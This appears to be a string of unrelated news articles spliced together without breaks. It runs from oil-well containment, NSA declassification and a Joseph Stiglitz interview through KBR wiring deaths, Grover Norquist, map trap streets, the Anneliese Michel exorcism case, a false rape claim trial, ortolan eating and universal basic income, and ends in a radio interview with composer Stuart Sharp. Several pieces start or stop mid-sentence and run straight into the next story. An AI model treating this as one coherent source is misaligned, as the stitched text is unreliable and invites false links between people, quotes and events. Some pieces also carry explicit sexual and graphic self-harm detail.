Bromich and Energy Secretary Ken Salazar visited first with Houston-based Helix Energy Solutions, which has a system that is says will be able to arrive at a well site and start containing a blowout within a week.
Next they visited The Marine Well Containment Co., the consortium formed by Exxon Mobil, Chevron, Shell, ConocoPhillips and later joined by BP. The MWCC system can be on the scene of a blowout within days and could take days or up to three weeks to contain a blowout, depending on the circumstances.A cryptology instruction book... 202 years old. A photograph of the U.S. Army's cypher bureau... from 1919. A breakdown of Russian electoral districts... circa 1948. Schematics for a magnetic tape memory system... nearly half a century old.
These are just some of the items that, had you seen them, would have irreparably damaged U.S. national security. These are just a few of the documents, mere citizen, that for decades were far too sensitive for your uninitiated eyes.
At least, that's what the American intelligence community would have you believe. Earlier this week, the National Security Agency announced that it had declassified and released to the National Archives "over 50,000 pages of historic records," according to an agency statement. The document dump was "the first in a series of releases planned over the next two years" as part of NSA's "commitment" to comply with President Obama's January, 2009 memo demanding more transparency from federal agencies. Last month, the CIA released a trove of allegedly-explosive information from World War I, including the 90 year-old German formula for invisible ink.
Included in this new motherlode (.pdf) of supposedly secret-packed documents: a 1944 report on Japanese merchant ships, a 1946 dossier on Chinese railroads, and a 1954 German article on Lenin's use of secret writing (with milk) while in prison. Presumably, this refers to Lenin's stint in Siberia, in the mid-1890s. Exactly why Vladimir Ilyich's reliance on lactose letters needed to be kept under wraps for 11 decades, the NSA doesn't
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a mechanism that could contribute to this.
Of course there is also the problem of the structural transformation of industry as productivity exceeds demand, thereby driving employment down. Further, there is a growing inequality in income distribution in many economies. At one level, this is a moral issue – it undermines democratic politics and leads to a more divided society. But it also weakens an economy. Inequality leads to weak demand and economic bubbles that are only temporary solutions with serious problems of their own.
As an aside, Stiglitz noted this view about inequality is, increasingly, becoming a mainstream view – even within the IMF of all places, he chuckles. Still, Stiglitz notes, some countries are relatively successful in both lowering the inequality of incomes within their borders, even as they are also managing to increase opportunity within their societies. As a conclusion, Stiglitz argues, is that what really matters are both the policies and the politics. It takes both. By contrast, those austerity policies have eviscerated global demand.
Turning to a consideration of South Africa – although he has only been here a few hours, he has been a frequent visitor over the years and clearly stays in touch with people here – Stiglitz says the country is suffering from high unemployment, high inequality, many economic sectors with only limited competition, slow, limited growth in SMMEs, and a weak skills base. On a positive note, however, he noted that it does have a relatively high level of political stability to provide the basis for coping with these important issues.
Nevertheless, as far as policies are concerned, and despite a range of effective policies, the increasingly discredited effort of inflation targeting is still being actively pursued. As Stiglitz says, “Raising rates can raise your exchange rate, it makes your goods less competitive and your exports go down, and imports can flood in and the result of that is jobs get destroyed.” Moreover, he asked whether increases in interest rates will actually even help, especially if the inflation that is being worried about largely derives from external factors like higher global food and oil prices. He says, “Does increasing interest rates do anything about the global price of oil?” (Were you listening, SARB head Gill Marcus?)
Turning his gaze to the African continent as a whole, Stiglitz said it has, on the whole, benefited from the globalised economy. On the up side, there is a new, growing African middle class that comes equipped with growing demands for the goods and services of growing economies. Still, there are risks too. Unless properly addressed, the youth bulge, threats from climate change and the possibilities of deteriorating global conditions now that Africa is becoming ever more open to the world economy presents both opportunities – but also new vulnerabilities.
And so then it is on to prescriptions for turning things around. Stiglitz argued that what is needed now is aggressive use of fiscal policy. Despite the reluctance for this in both the US and the EU nations, it would easily be possible to stimulate these economies to push up demand. And, importantly, it would not even be an expensive proposition right now. For example, in the US the effective borrowing rate is minus 2% for sovereign borrowing.
But macro-economic policies are not enough. Structural policy changes like effective implementation of industrial policy should be considered as an essential part of the picture as well. Stiglitz makes the point that, in effect, all nations already have some form of industrial policy – it might just be the wrong one for the situation they find themselves in. (There is even some off-hand praise for Japanese Prime Minister Shinzo Abe’s new industrial policy efforts on that score to reignite his country’s economy.) In sum, much of the real problem facing many of the globe’s nations, Stiglitz argues, is political in nature. It is a problem of will. And then, hammering away at those central bankers one last time, Stiglitz takes a last shot, arguing that when they focus so ferociously on inflation targeting, they are doing nothing for increasing demand or for addressing the import costs of poor consumers.
After his presentation, the writer caught with him for some further discussion. Asked if his morning’s lecture could be summed up as: “There is no growth; growth is good; and the politicians screwed up.” Stiglitz chuckles and says there’s a bit more to it than that but, in general, “yes, you got it.”
Going to one of the key areas of his work during his long career, Stiglitz is asked whether the Internet has heightened or lessened information asymmetry. Stiglitz responds that, yes, the Internet has been very good for delivering efficient price information for uniform, homogeneous products (basic commodities, for example). However, it has not been very good at delivering more complex, qualitative information such as what is the nature of a job or what is the fit of a particular person for a job. This is something not known until it happens – it represents detailed but qualitative, tacit information. “Our realisation that the Internet wouldn’t be able to convey that information has been important insight. The Internet can do some things well, but it can’t do other things very well.” Perhaps it has even made the asymmetry worse? He adds, “Access to knowledge is changed in ways that are both increasing and decreasing divides. Somebody in Nairobi can have access to a library of the world that they never would have been able to have [in the past]. On the other hand, someone in a Navajo reservation who can’t afford an Internet connection is out of luck in America.”
As far as the idea of the developmental state is concerned, Stiglitz understands that the South African government has embraced that concept – if not yet in practice. Is South Africa able to do that effectively, he is asked? He is, interestingly, very positive on this. “Yes, yes I really do. Partly they have a more sophisticated group of policy makers – here – than East Asia had when they were doing what they were doing. And there’s been forty years more experience. So they are coming to the task [in a] much more sophisticated [way] and with a greater wealth of understanding of what can lead to success and what can lead to failure.” It is easier to fly when you are not the first duck in a V-shaped flock in flight, perhaps. “One of the lessons is that if you have political economy problems, you shape your industrial policy differently” than in Japan. “They will change the modalities…but they will be more aware of the pitfalls.”
As to whether there is sufficient skill among the political class and the technocrats, and the competence to make it stick, Stiglitz argues “There is a lot of political will, a broad consensus, over the basic framework of a developmental state… and they have begun to create layers beneath them that would have the capability of implementing it…. But, no, it is not pre-ordained…. But I have looked at other cases where there has been a modicum of success, Ethiopia, where the state apparatus is much less developed than here…. The government is not trying to replace the business sector, but it is saying, ‘are there some things we could help promote.’ ”
Finally, just before we go back into to the conference, we discuss the question of the dichotomy between proponents of supporting economic growth (and productive efficiencies) versus employment growth as the best way forward. Stiglitz responds that this precise debate is now being joined increasingly in the US as well. He notes, “It had been assumed, until a few years ago, that growth in GDP would lead to growth in employment and standards of living.” Some people would lose jobs, but the economy would instantaneously create new jobs, “That’s the marvel of the market. Today there is growing skepticism about that… and even techno-optimists are beginning to not be so confident…. That’s been the mental model, but now they’re asking whether that isn’t true any longer.” Maybe today’s equivalents of buggy-whip makers are no longer getting jobs in the high-tech equivalents of automobile manufacturing. “And that is where employment-focused growth becomes a re-articulation of what we want to do,” Stiglitz says.
And then both of us go back into the conference to listen to former Governor of the US Federal Reserve Bank Ben Bernanke defend his record, his policy choices, and any doubts or regrets he has from his tenure at the Fed. There aren’t too many, it seems. Instead, Bernanke’s mantra is that they did the best they could with the tools they had, at that dangerous, even precarious moment of the financial crisis. And just as clearly, Stiglitz does not entirely concur with that high mark. DM
Read more:
Joseph E. Stiglitz University Professor at Stiglitz’ own website
No Signs U.S. Catching Up With Growth Trend, Stiglitz Says at Bloomberg
Photo: Nobel Laureate in economics and former World Bank chief Joseph Stiglitz speaks to the media after his lecture “The Price of Inequality” at the Center for The New Economy Annual Conference at a hotel in San Juan, February 21, 2014. REUTERS/Ana Martinez
Are You A South AfriCAN or a South AfriCAN'T?
Maverick Insider is more than a reader revenue scheme. While not quite a "state of mind", it is a mindset: it's about believing that independent journalism makes a genuine difference to our country and it's about having the will to support that endeavour.
From the #GuptaLeaks into State Capture to the Scorpio exposés into SARS, Daily Maverick investigations have made an enormous impact on South Africa and it's political landscape. As we enter an election year, our mission to Defend Truth has never been more important. A free press is one of the essential lines of defence against election fraud; without it, national polls can turn very nasty, very quickly as we have seen recently in the Congo.
If you would like a practical, tangible way to make a difference in South Africa consider signing up to become a Maverick Insider. You choose how much to contribute and how often (monthly or annually) and in exchange, you will receive a host of awesome benefits. The greatest benefit of all (besides inner peace)? Making a real difference to a country that needs your support.
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Please or create an account to view the comments. To join the conversation, sign up as a Maverick Insider.Far from suffering for its shoddy military contracting in Iraq, Congressional investigators have found that KBR Inc. was awarded $83 million in performance bonuses. Even worse, more than half came after Pentagon investigators linked faulty KBR wiring to the electrocution of four soldiers intent on relaxation. One soldier died taking a shower and another in a swimming pool.
How such settings became part of harm’s way for the military was the question put to an electrical engineer hired by the Army who reported finding that 90 percent of KBR’s wiring work in Iraq was not done safely. Some 70,000 buildings where troops lived and worked were not up to code, according to the engineer, who told a Congressional hearing of “some of the most hazardous, worst-quality work I have ever inspected.”
Officials of KBR, the offshoot of the Halliburton conglomerate once run so lucratively by former Vice President Dick Cheney, deny responsibility and say the work met the British code used in the war zone. Flat denial is an all-too-familiar refrain from this most favored and most questionable of military contractors. The electrical engineer found most wirers were not experienced in the British code and many were third-country nationals with no electrical training at all.
Confronted with the airing of these lethal findings, the Pentagon at least had enough sense to tell Congress last week that KBR bonuses were suspended pending a full review. Senator Byron Dorgan’s description of the Pentagon’s performance as “stunning incompetence” is an understatement for such tragic profiteering.
The Army continues to investigate the deaths and reports of hundreds of nonlethal shocks suffered by troops. It has ordered emergency repairs, but the electrical inspector found that the building where the showering soldier was electrocuted still was not safely grounded by KBR until last October, 10 months after his death.During a recent interview, anti-tax crusader Grover Norquist struggled to explain his ties to a pharmaceutical trade group and then “took off” when he was asked about his history lobbying for home loan-backer Fannie Mae, an organization that he now criticizes.
The Republic Report’s Zaid Jilani and Lee Fang caught up with Norquist at an American Enterprise Institute event last week where they asked him about Republican claims that President Barack Obama’s administration had scuttled increased reimportation of cheaper drugs because of donations from the pharmaceutical industry.
“That wasn’t a campaign contribution to elect Obama,” Norquist explained. “It was either a bribe, ‘We will give you this money to spend politically through [Obama adviser David] Axelrod and his friends if you do X.’ Or it was extortion.”
The reporters pressed Norquist on whether there was an “extorting effect” on his organization, Americans for Tax Reform (ATR), after they took $140,000 from industry trade group PhRMA and then opposed drug reimportation.
“Extorting, no,” the ATR president insisted. “The good news on Americans for Tax Reform is we are just always in the same place: Don’t raise taxes. … The key question is on an administration that threatens everybody’s livelihoods is going to be able to extort money. So one of the ways to get money out of politics is to have less politics, less government.”
As Norquist turned to leave the conversation, one of the reporters noted he used to be a lobbyist for Fannie Mae but now he criticizes them.
“Is that because they stopped giving you money?” the reporter asked.
“Not true,” Norquist replied, stepping in to an elevator. “Actually, no.”
Last year, Rep. Frank Wolf (R-VA) slammed Norquist’s past connections to Fannie Mae.
“I mean, he was a lobbyist for Fannie Mae, he was a lobbyist for Internet gambling … he was connected to Jack Abramoff,” Wolf told MSNBC. “When people sign the pledge, they didn’t really know that it goes to that point.”
For his part, Norquist dismissed the connection as trivial.
“A firm I worked for listed me for six months more than 10 years ago. … I supported a tax credit for home purchases,” he told Politico. “Both are sound policy and both were 10 years ago.”
Watch this video from The Republic Report, broadcast June 22, 2012.
Photo: Flickr/Gage SkidmorePhantom settlements and trap streets are faked or falsified, intentionally introduced (or materially altered) by map makers to catch those who would copy them. And the practice is not limited to towns or roads – there are trap ponds, trap parks, trap buildings and trap sidewalks, too.
Now imagine the same thing applied to indoor spaces being mapped by new mobile device apps: trap rooms, halls, closets and stairwells – entirely fake spaces that could at worst confuse, but at best might become targets of offbeat geo-locational games.
BldgBlog (image above by Laura Pedrick for The New York Times) speculates about introducing false information to interior maps of places like shopping malls:
“Nothing sinister—you don’t want people fleeing toward an emergency stairway that doesn’t exist in the event of a real-life fire—but why not an innocent janitorial closet somewhere or a freight elevator that no one could ever access in the first place? Why not a mysterious door to nowhere, or a small room that somehow appears to be within the very room you’re standing in?”
Unlike some paper streets (example shown above), which are planned but never become a reality, trap streets and phantom settlements (like Argleton, a faux town depicted below) are fictitious creations from the start, designed to mislead copyists into revealing their own copyright infringement. Normally innocuous (like: renaming or bending a road), you think of them as equivalent to programmer’s Easter Egg or a hidden watermark on a photograph – a buried surprise in everyday maps.
But what are the implications of doing this on a smaller scale of pedestrian circulation, deceiving people not by square mile, but by cubic feet? Could you frustrate the janitorial staff at a school, scare someone into imagining a secret room in their apartment complex? Would it trick urban explorers into actually physically trapping themselves? We will set these open questions aside and leave you with a little fun fact: while designed to catch copiers, trap streets cannot themselves be copyright.You've heard of it raining cats and dogs, but blunts and joints?
Maya Donnelly of Nogales, Ariz., awoke to what sounded like thunder in the early morning hours, but dismissed it as a typical monsoon storm and went back to sleep.
Later that morning, she looked in the carport at her home near the U.S.-Mexico border and saw pieces of wood on the ground amidst a bulky bundle wrapped in black plastic.
Inside was nearly 8 kilograms of marijuana — a package that authorities say was worth $10,000 US., and likely was dropped there accidentally by a drug smuggler's aircraft.
"It's all right on top of our dog's house," Donnelly said of the Sept. 8 incident, which was first reported by the Nogales International newspaper. "It just made a perfectly round hole through our carport."
Living near the border, Donnelly said she assumed the object was drugs. She immediately called her husband, Bill, who told her to call 911.
Officers who responded told the couple that an ultralight aircraft smuggling marijuana from Mexico had probably let part of its load go early by accident before dropping the rest farther north, the newspaper reported.
"Thank goodness Hulk is a wanderer at night and was not in his house," said Maya of her family's German Shepherd. "He was probably at the gate watching the plane go by."
Nogales Police Chief Derek Arnson said it's the first time in his three-year tenure that he's ever seen a load of drugs hit a building.
"Someone definitely made a mistake, and who knows what the outcome of that mistake might be for them," he said.
Police are trying to determine whether the bundle was transported by an aircraft or a pilotless drone. Such runs usually occur at night.
Maya said she thinks it's unlikely someone will come looking for the drugs, which are now in police custody. While Arnson agreed, he said said that police have boosted patrols in the family's neighbourhood for now.
The Donnellys will have to pay the estimated $500 in repairs to their carport, as well as for a new dog house — but the scenario could have been much worse for the couple and their three teenage daughters.
"Where it landed was clear on the other side of the house from the bedrooms," Maya said. "We were lucky in that sense."
Friends and family also have gotten a laugh. Several joked that the couple could have profited from the surprise package.
"That's what everybody says: 'Why did you call 911?'" Maya said. "But how can you have a clear conscience, right? We could have made lots of home repairs with that."Who was Anneliese Michel?
Anneliese Michel was born in Germany on September 21, 1952. She grew up in a devoutly, somewhat extreme, Catholic family. Pictures of her taken in her childhood show a vibrant, pretty girl on her way to becoming a gorgeous woman. She had shining black hair, an open, honest face and a stunning smile. By the time she was 23-years-old, she was emaciated, heavily bruised, scarred and deranged. She was supposedly taken over by demons and fought for nearly eight years before finally losing her battle with evil. Later, her death was labeled negligent homicide, but was there anything anyone could have done for Anneliese Michel? Were those who were with Anneliese really fighting Satan?
Four years before Anneliese was born, her mother, Anna Michel gave birth to an illegitimate daughter. This was a source of shame for the Catholic family. After she married and gave birth to Anneliese, she apparently harbored feelings of guilt about her first daughter. Unfortunately, Anneliese’s older sister died at the age of eight, but Anneliese reportedly felt like she needed to repent for her mother’s sin. She supposedly spent much of her time doing penance for her mother, sinful youth and bad priests.
Symptoms of Possession
Anneliese’s supposed symptoms of possession began in 1968. Anneliese was a 16-year-old high school student. The symptoms were convulsions and they were eventually diagnosed as epilepsy by a neurologist. Anneliese Michel took medicine for her condition and continued her life to the best of her ability. She finished high school and went on to college, where she studied to become a teacher. Apparently, the medicine was not helping her much. Her problems only got worse.
Over time, Anneliese Michel complained of seeing disturbing visions while saying her prayers. Later, evil voices giving her commands followed. Finally, Anneliese began showing an aversion to religious iconography. An older woman, a friend of the Michel family, noticed this while on a pilgrimage with Anneliese. She said that Anneliese smelled “hellishly bad” and took her to see some priests. Many of them said Anneliese needed a doctor. However, one eventually said Anneliese needed an exorcism and an exorcism was eventually granted.
In 1975, Anneliese Michel and her parents stopped seeking medical advice and gave over Anneliese’s fate to the Roman exorcism ritual. Anneliese, the priests and her parents truly believed she was possessed. Anneliese Michel herself said that Judas, Nero, Hitler, Cain, Lucifer and others were inside of her. Over the next ten months, Father Arnold Renz and Pastor Ernst Alt performed 67 exorcisms for the tormented girl. It is important to note that every action taken during these rituals was condoned by Anneliese.
Sometimes, the seriously ill Anneliese would perform hundreds of genuflections during these rituals. It is rumored that her parents held her up for them when she got too weak to do it herself. It is not hard to imagine this being necessary, given that Anneliese stopped eating altogether for some time before she died. She believed it would lessen the evil’s control over her. There are claims that Anneliese spoke several different languages (or the demons and evil souls that possessed her did) during the exorcisms. The author of this article cannot verify such claims, as she does not speak the languages Anneliese supposedly spoke in the tapes.
It is certain that medicine was not saving Anneliese Michel from whatever tormented her, but there is no questioning that things got worse for her when she gave herself over to exorcism. She allegedly urinated and defecated on the floor frequently, also licking up her own urine. She ate insects, growled at religious icons and sat under her kitchen table barking for two days. Surely, her family was afraid of her, but a medical professional probably would not have left her under the table for two days or let her starve to death, which is eventually what she did.
Anneliese Michel Death
Anneliese Michel died of dehydration and malnutrition on July 1, 1976. The 23-year-old woman weighed 68 pounds at the time of her death. Josef Michel (her father), Anna Michel and the two exorcists were eventually charged with negligent homicide. During the trial, evidence of the possession worked both for and against the defense. Forty-two of the exorcisms were audio-recorded and there were various pictures of a seriously ill-looking, bruised and sore-covered Anneliese. Anneliese is horrifying in these tapes which works for the defense that she was possessed, but is certainly not conclusive. If nothing else, the tapes made it clear that Anneliese was seriously ill and no one was making her eat. It is certain that possessed or not, Anneliese should have been cared for better.
Warning: The video accompanying this article is very disturbing
Sources
Questioning the Story, retrieved 4/8/11.
Slater, Eliot & Beard A.W., The Schizophrenia-like Psychology of Epilepsy, retrieved 4/8/11, bjp.rcpsych.org
Graphic Anneliese Michel video: https://www.youtube.com/watch?v=p9qQiDqHDRgSpurned housewife's rape claim backfires after husband shows police a sex tape they made together
Judge the Lord Parmoor jailed Ferguson for nine months after she falsely claimed her husband raped her
A spurned housewife who claimed her husband raped her has been jailed after he showed police a video of them having consensual sex.
Kelly-Ann Ferguson, 23, had met her husband Paul to try and patch up their broken marriage but when he refused went to police claiming he'd raped her.
A court heard Mr Ferguson was arrested on suspicion of rape but showed police officers a footage filmed on his mobile phone that proved she was 'enjoying every minute'.
When police quizzed Ferguson over the video clip she admitted she had made up the rape claim because her husband had 'treated her badly and dismissed her'.
Ferguson, of Tinkers Bridge, Milton Keynes, Buckinghamshire, was jailed for nine months at Aylesbury Crown Court for perverting the course of justice.
Judge the Lord Parmoor said: 'When you left the home you felt it was appropriate to go to the police station and allege he had raped you.
'You provided a total first-hand account and not surprisingly police believed you and the force sprang into action.
'At some stage he said it had all been recorded on his telephone.
Aylesbury Crown Court: Ferguson claimed she made the rape allegation because she was in an 'emotional state' over the breakdown of her marriage
'On the phone, far from being raped you were enjoying every minute, if I can put it so crudely.
'It was perfectly clear your story was a pack of lies.'
The court heard the couple had been married just five months when their relationship deterioted and Ferguson left the marital home.
Prosecuter Meryl Hughes told the court: 'The couple had married in December 2010 but the marriage broke down and she left the marital home on April 14, 2011.
'On the 27th the pair met to discuss the marriage and they went back to his home, her former home.'
Judge the Lord Parmoor told Ferguson: 'Far from being raped you were enjoying every minute, if I can put it so crudely. 'It was perfectly clear your story was a pack of lies.'
But Ms Hughes told how Ferguson claimed to police her husband had forced her to perform oral sex before raping her when they went back to their marital home.
She told the court: 'She said he forced her to have oral sex, grabbing her head and forcing his penis into her mouth. She said he pushed her on the bed and forced vaginal sex.
'She said after the rape he went into a crazy rage and told her to get out and never come back.
'She eventually ended up at the police station and reported that she had been raped.'
Ms Hughes told how her husband was arrested over the rape allegations and during police interview told officers he had recorded the whole thing on his phone.
She said: 'The footage showed clips of Ferguson naked, performing oral sex. The male is not holding her head or forcing her to perform the sex act. In fact she was giggling and laughing.
'Then vaginal sex takes place and she is seen to be a willing participant.'
When confronted with the video evidence, the court heard Ferguson admitted she had made the allegations up.
Ms Hughes said: 'Officers went to speak to Ferguson to challenge her about the video and she confirmed no offence had taken place.
'She told police she had felt, at the end of the evening, he treated her badly and dismissed her.'
Mr Ferguson had spent 15 hours in custody and Thames Valley Police had spent nearly £1,500 pounds investigating the claim.
Defending counsel Katherine Duncan told the court: 'She is full of remorse for her actions. Her marriage had broken down and she was an emotional state.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
Nazareth Police arrested a 21-year-old Hadash activist for allegedly attacking the son of a Greek Orthodox priest because he supports enlistment of Christian Arabs in the IDF.
The son was about to be drafted into the IDF.
Herb Keinon and Jerusalem Post Staff contributed to this report.
Police released the suspect to house arrest for three days and gave him a restraining order.“My wife is closed up in the house and my second son refuses to leave the house,” said the priest, Gabriel Nadaf, according to Israel’s Channel 2.At around 7 p.m. on Friday, the suspect allegedly harassed and threatened Nadaf’s youngest son, and then pushed and hit him. The suspect then allegedly chased the boy with a stick and beat him severely on the head and body. The police arrived and arrested the suspected assailant.Nadaf’s son is being treated at the English Hospital in Nazareth.“As I call for integration in Israeli society, extremists are trying to divide and tear and incite against me,” the priest said. “The incitement of verbal threats has passed yesterday into physical violence as their goal is to intimidate me and my family.”Deputy Defense Minister Danny Danon (Likud) spoke with Father Nadaf, who said that the suspect is an Arab Hadash activist. Danon later spoke with Public Security Minister Yitzhak Aharonovitch, demanding an end to incitement from Arab Knesset members.“Words become deeds; the incitement of Arab Knesset members must stop,” Danon said. “The situation where Father Nadaf, his family, and Christians who want to serve in the IDF live in fear and suffer from attacks and harassment is unacceptable and tough action needs to be taken against the instigators and perpetrators alike.”In the past year, the number of Christians enlisting in the IDF doubled. Danon and the IDF have been encouraging Christian enlistment by holding activities in schools and speaking with families and youth.Upper Nazareth mayor Shimon Gafsou visited the priest’s son in the hospital and condemned the violent attack.“Attacking the son of Father Nadaf began with incitement and could have ended much worse.Israel must give full backing to those in the Christian community who wish to enlist,” Gafsou said, according to Channel 2.Gafsou added that significant measures needed to be taken against such incitement.Father Nadaf is openly active on behalf of the integration of Arab Christians into Israel’s mainstream and is the spiritual leader of a forum for the enlistment of Christian youth in the IDF. He has been excommunicated by the Orthodox Church Council, subjected to death threats and has been the target of verbal attacks from Arab MKs. Science, Technology and Space Minister Yaakov Peri (Yesh Atid) condemned the attack on his Facebook page on Saturday, and said he expected the Arab parties in the Knesset to condemn it as well.“The crazed incitement of some of the elected Arab representatives toward Father Gabriel and against the idea of Arabs volunteering for national service has found its expression in this criminal, violent act,” Peri wrote.Peri heads the committee that has drafted legislation aiming to equalize the state’s burdens.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>Boris Johnson today sets out a grand vision of Britain’s “glorious” post-Brexit future as a low-tax, low regulation economy paying nothing to the EU for access to the single market.
In a 4,000-word article for the Telegraph, the Foreign Secretary restates the key demand of the Leave campaign - that £350m a week currently sent to Brussels should be redirected to fund the NHS.
He says that Britain should not continue to make payments to the EU after Brexit and that ongoing membership of the European single market and customs union would make a "complete mockery" of the referendum.
Mr Johnson, who has said virtually nothing about Brexit in the wake of the election, makes no reference to any transition period after 2019 and makes repeated reference to how EU bureaucracy is a drag on economic performance.
The blueprint and vision he sets out today differs markedly from the plan set out by Philip Hammond and other Cabinet ministers - who have stressed the need to remain close to the single market and pay money to maintain access.
It comes less than a week before Theresa May delivers a pivotal Brexit speech in Florence, and effectively amounts to an ultimatum to the Prime Minister on what she is expected to say.The customary way of eating ortolan, a delicate songbird, involves the diner covering his or her head with a large napkin. Tradition dictates that this is to shield – from God’s eyes – the shame of such a decadent and disgraceful act.
But if a clutch of leading French chefs have their way, the dish will soon be back on the menu, allowing gluttons to indulge in a meal that ranks as one of the most controversial of all time.
The four cooks, including Alain Ducasse, who has a dazzling 18 Michelin stars to his name, have called for a partial reversal of the ban on killing and selling ortolans. He told a French food magazine that the prohibition “undermines centuries of tradition, customs, and promotes a black market with exorbitant prices”.
A single ortolan bird is no bigger than a baby’s fist and weighs less than an ounce, but they can be sold for as much as £100 to those willing to break the law.
“This is a cry from the heart,” said Michel Guérard, one of the inventors of “nouvelle cuisine”, who wants to serve the dish for one day or one weekend of the year.
Killing and selling the bird, a member of the bunting family, has been banned in France since the late 1990s, though the ban was not strictly enforced until 2007. The government, at the time, decided to act after poachers caught vast numbers to supply restaurants. France’s League for the Protection of Birds claimed ortolan numbers plunged 30 per cent between 1997 and 2007 as a result.
But the rarity of the bird is not the only reason why killing it is so controversial. It is the method in which they are dispatched.
Hunters catch the birds using traps set in fields during their migratory season (when they fly to Africa). They are then kept in covered cages, encouraging them to gorge on grain in order to double their size. It is said that Roman Emperors stabbed out ortolans’ eyes in order to make the birds think it was night, making them eat even more.
They are then thrown alive into a vat of Armagnac, a trick that manages to both drown and marinade the animal at the same time. Killing two birds with one glug, as it were.
French chefs argue that “it’s not a bad way to die”. Indeed, it is probably no crueller than force-feeding a goose in order to fatten up its liver into foie gras, another dish that French gourmets refuse to give up despite mounting howls of horror around much of Europe.
Then comes the eating – part pagan ritual, part essay in gluttony. The birds are cooked for eight minutes and served with their heads still attached. After the shame-hiding napkin is placed over the diner’s head (helping, too, to trap the aroma of the dish), the ortolan is popped in its entirety into the diner’s mouth, who then proceeds to eat everything including the head and bones.
Those who have tasted ortolan rave about the hazelnut and gamey flavours. Jeremy Clarkson ate one during his Meet the Neighbours series in 2002, in which he travelled around Europe. “It’s really good. It is fantastic, fantastic,” he said, before quipping that he expected a record number of complaints to be sent into the BBC about the incident.
There is some romanticism to the barbarous act – it appears in Proust and the title character devours one in Gigi. The American chef Anthony Bourdain says the experience is close to ecstasy: “With every bite, as the thin bones and layers of fat, meat, skin and organs compact in on themselves, there are sublime dribbles of varied and wondrous ancient flavours: figs, Armagnac, dark flesh slightly infused with the salty taste of my own blood as my mouth is pricked by the sharp bones.”
Ducasse and his fellow chefs point out that the songbird ban in France also prohibits the killing of woodcock, which is legal in Britain. This is true. The small, long-beaked bird can be found on the menu of St John restaurant in London, famous for pioneering “nose to tail” eating, where it is served with its head on, split down the middle. Traditionally, the most prized part of eating woodcock is scooping out the brain.
But woodcock is shot, usually during a pheasant shoot; not trapped or drowned alive like ortolan.
The most famous fan of the bird was President Mitterrand, who, just days before he died from prostate cancer, hosted an epic meal on New Year’s Eve in 1995.
It involved Mitterrand eating 30 Marennes oysters, foie gras and capon, washed down with Sauternes and local red wine, before moving on to not just one, but two ortolans.
The sheer gluttony of the old Socialist shocked many Frenchmen, even those who think us Brits sentimental animal lovers for turning up our noses at horse meat.
Ducasse and his fellow chefs say they are merely calling for a return to tradition. I am not squeamish, but surely there are more wholesome traditions worthy of a revival - and ones that involve fewer bones?The universal basic income is a policy that "couldn't sell right now" according to Professor Robert Reich from the University of California's Berkeley Public Policy department.
It comes after Labour announced it was considering going into the next election with a universal basic income (UBI) policy, meaning every New Zealander would get a regular payment, regardless of their income or wealth.
The policy is being considered by Labour's Future of Work commission and seeks to address growing concern that technology and artificial intelligence will replace more jobs than it creates.
Prof Reich says the policy targets three specific and growing problems. Incomes stagnating or declining when adjusted for inflation, widening income inequality as well as pay and job insecurity.
For now
|
pounds?
SHARP: Because it's not just going to the Philharmonia Orchestra - as explained to me. You're going to need orchestrators, you're going to need arrangers, you're going to need the best studios in the world. You will need a rehearsal orchestra. You'll need this, you'll need that, you'll need the other. And before you do all that, we would have to work on it together to make an electronic version of it. And for that, you will need to hire a studio, you will need to hire computers, and me - will be very expensive. So on and so forth.
GRUBERT: So here you were at the cusp of realizing your dream. Oh, and by the way, mister homeless man, you're going to have to pay a million pounds to do it. What'd you think when he said that to you?
SHARP: I was excited. You ask me to make a million pounds, and I'll go and make a million pounds.
GRUBERT: He started off by getting a job at the homeless center. Then he got various sales jobs working exclusively on commission, something for which he showed an uncanny ability. He spent years flipping houses for the local council and then, he started doing it for himself. Many houses and 15 years later, he had saved one million pounds.
SHARP: Then I tracked Anthony Wade down, and I said to him, are you ready to go? He said, go where? The project. He couldn't quite work out what was going on. So I took my bank statement with me. I said, right, you gave me the answer of what to do, here is the money. Let's go.
GRUBERT: And how long did it take to complete?
SHARP: It took five years working every single day to do an electronic version of the whole symphony. Once I got all that done, then I presented it to the conductor of the Philharmonia, with the tape, with a score, please listen to this.
GRUBERT: And?
SHARP: He was not too impressed because how could a homeless person with no musical ability write a score that will be good enough for the London Philharmonia Orchestra? And he said to me, it's not a question of money, Stuart. It's a question of credibility. The London Philharmonia Orchestra are not going to record basically rubbish.
GRUBERT: He hadn't even listened to it.
SHARP: He hadn't listened to it, no. And then a few weeks later, I got a call from him at midnight and he was crying on the phone. He said, Stuart, I have just listened to your tape. I have been blubbering for the last five minutes. It is wonderful. I cannot believe it. I'm so sorry I didn't listen to it before. The reason I didn't listen to it before was because I thought, how can I break the bad news to you after all you've gone through? But now I can see with the London Philharmonia recording it, this will be one of the most magnificent things we've ever done.
GRUBERT: Stuart needed to find even more money. It needed to be scored again. The orchestra had to be booked years in advance. And then, one day, the conductor of one of the greatest orchestras in the world turned to Stuart and said...
SHARP: Now it is right for the London Philharmonia Orchestra.
GRUBERT: OK, so the day comes of the recording. Describe the room to me.
SHARP: It was a very big room to enclose 80 musicians. It was a big recording studio in London - massive. Oh my God, is this really going to happen?
GRUBERT: It's the sound. They were all tuning their instruments?
SHARP: They were all tuning their instruments and the hairs on the back of my neck began standing up 'cause I don't know what to expect. I don't know if it's going to be what I heard in my head or something else.
GRUBERT: When the moment came when the conductor stood before them...
SHARP: When the wand came down and as they started playing, it was exactly what I heard in my head - the trumpet call for the angels, the voices, the choir 'cause it had to be a choir as well. A massive choir, it wasn't just an orchestra. It was a big choir joining in it. It was exactly going in sync, and I'm thinking, wait a minute, is that the orchestra doing it or is that what's in my head? It was so strange. And when they'd finished, suddenly, I heard this noise. It was like applause. And the conductor said, Stuart, come over here. This ovation is for you. For me?
GRUBERT: It's hard to know if the musicians of the London Philharmonia were applauding for the music or Stuart's journey or both. Nevertheless, they gave him a standing ovation. Allan Wilson, the conductor of the London Philharmonia is quoted as saying, I had to admit, I was stunned. I've never seen any orchestra anywhere in the world give any composer an ovation like that before. Stuart's symphony has never been performed. It's never been distributed by a major record label, but he had achieved his goal. Stuart had gotten the music out of his head and recorded by one of the greatest orchestras in the world. What's the first thought that went through your head?
